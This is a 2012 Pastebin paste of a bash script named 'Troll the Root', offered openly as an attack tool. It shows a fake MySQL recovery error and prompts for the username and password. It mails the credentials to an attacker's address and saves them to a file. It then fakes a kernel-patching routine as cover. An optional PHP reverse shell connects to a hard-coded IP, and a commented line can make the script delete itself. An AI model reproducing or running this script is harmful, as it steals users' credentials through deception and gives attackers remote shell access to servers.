Guest User

troll the root

a guest
May 15th, 2012
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.28 KB | None | 0 0
  1. #!/bin/bash
  2. # Troll the Root 0.1
  3. # thebreach3r :)
  4. # This program is free software: distributed in the hope that it will be useful,
  5. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  6. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
  7. #Configuration
  8. email=$1
  9. #Change this to 1 if you wanna run a revershe shell
  10. REVERSESHELL_use=0
  11. REVERSESHELL_ip="122.122.122.122"
  12. REVERSESHELL_port=9999
  13. #-------------------------------------------
  14. #Feel free to change the messages , it just need to be legit !
  15. Message1="PHP: Thread/process 2620/3077437120 failed: Thread died in MySQL\n
  16. error: db3 error(-30974) from dbenv->failchk: DB_RUNRECOVERY: Fatal error, run database recovery\n
  17. error: cannot open Packages index using db3 -  (-30974)\n
  18. error: cannot open Packages database in /var/mysql\n
  19. CRITICAL:mysql.recovery:\n
  20.  
  21. Error: recovery failed\n"
  22. Message2="\n[+]Downloading the kernel patch...\n"
  23. Message3="\n[+]Patching...\n"
  24. Message4="[+]The kernel was successfully patched ...\n"
  25. PatchUrl="http://www.kernel.org/pub/linux/kernel/projects/rt/2.6.26/patch-2.6.26.8-rt16.gz"
  26.  
  27. echo -ne $Message1
  28. echo -ne Please, enter your $(hostname) username:  
  29.         read username
  30. read -s -p "Enter your Password: " password
  31. echo -ne $Message2
  32. #if /bin/mail isn't implemented on the server (improbable) you can use a wget or curl to a php script that will take those credentials
  33. #smthng like www.yourwebsite.com/get.php?username=$username&passwd=$$username
  34. mail -s "w00t - The damage at $(hostname) has been done, enjoy r00t ->username:$username , password:$password" $email
  35. echo " ----------------------" >> troll.txt
  36. echo "|Troll the Root Results|" >> troll.txt
  37. echo " ----------------------" >> troll.txt
  38. echo "Username: $username" >> troll.txt
  39. echo 'with' >> troll.txt
  40. echo "Password: $password" >> troll.txt
  41. echo '' >> troll.txt
  42. echo "Enjoy being r00t!" >> troll.txt 2. /dev/null
  43. wget $PatchUrl
  44. echo -ne $Message3
  45. sleep 10
  46. echo -ne $Message4
  47. if [ $REVERSESHELL_use -eq 1 ]; then
  48. #Feel free to change this backconnect script to your favorite
  49. php -r '$sock=fsockopen("$REVERSESHELL_ip",$REVERSESHELL_port);exec("/bin/sh -i <&3 >&3 2>&3");'
  50. mail -s "$(hostname) Successful Reverse Shell" $email
  51. fi;
  52. #unComment the last line if you wanna remove the script from the server
  53. #rm -f $0
Advertisement
Add Comment
Please, Sign In to add comment